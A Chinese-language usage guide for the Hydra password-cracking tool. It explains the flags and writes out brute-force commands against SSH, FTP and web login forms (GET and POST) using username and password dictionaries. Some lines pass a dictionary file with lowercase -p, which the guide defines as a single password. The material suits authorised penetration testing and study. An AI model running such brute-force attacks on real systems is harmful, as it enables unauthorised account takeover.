九头蛇 hydra用法

语法

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns][-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]

参数详解

• R 根据上一次进度继续破解
• S 使用SSL协议连接
• s 指定端口
• l 指定用户名
• L 指定用户名字典(文件)
• p 指定密码破解
• P 指定密码字典(文件)
• e 空密码探测和指定用户密码探测(ns)
• M 指定目标列表文件一行一条
• f 在使用-M参数以后，找到第一对登录名或者密码的时候中止破解
• C 用户名可以用:分割(username:password)可以代替-l username -p password
• o 输出文件
• t 指定多线程数量，默认为16个线程
• w TIME 设置最大超时的时间，单位秒，默认是30s
• vV 显示详细过程
• server 目标IP
• service 指定服务名(telnet ftp pop3 mssql mysql ssh ssh2......)

爆破 ssh:22 端口命令

hydra -L users.txt -P password.txt -t 5 -vV -o ssh.txt -e ns 192.168.0.132 ssh

爆破 Ftp:21 端口命令(指定用户名为root)

hydra -l root -P password.txt -t 5 -vV -o ftp.txt -e ns 192.168.0.132 ftp

get方式提交，破解web登录(指定用户名为admin)

hydra -L user.txt -p password.txt -t 线程 -vV -e ns ip http-get /admin/
hydra -l admin -p password.txt -t 线程 -vV -e ns -f ip http-get /admin/index.php

post方式提交，破解web登录

hydra -l admin -P password.txt -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"
hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>"

参数说明：-t同时线程数3，-l用户名是admin，字典pass.txt，保存为out.txt，-f 当破解了一个密码就停止， 10.36.16.18目标ip，http-post-form表示破解是采用http的post方式提交的表单密码破解，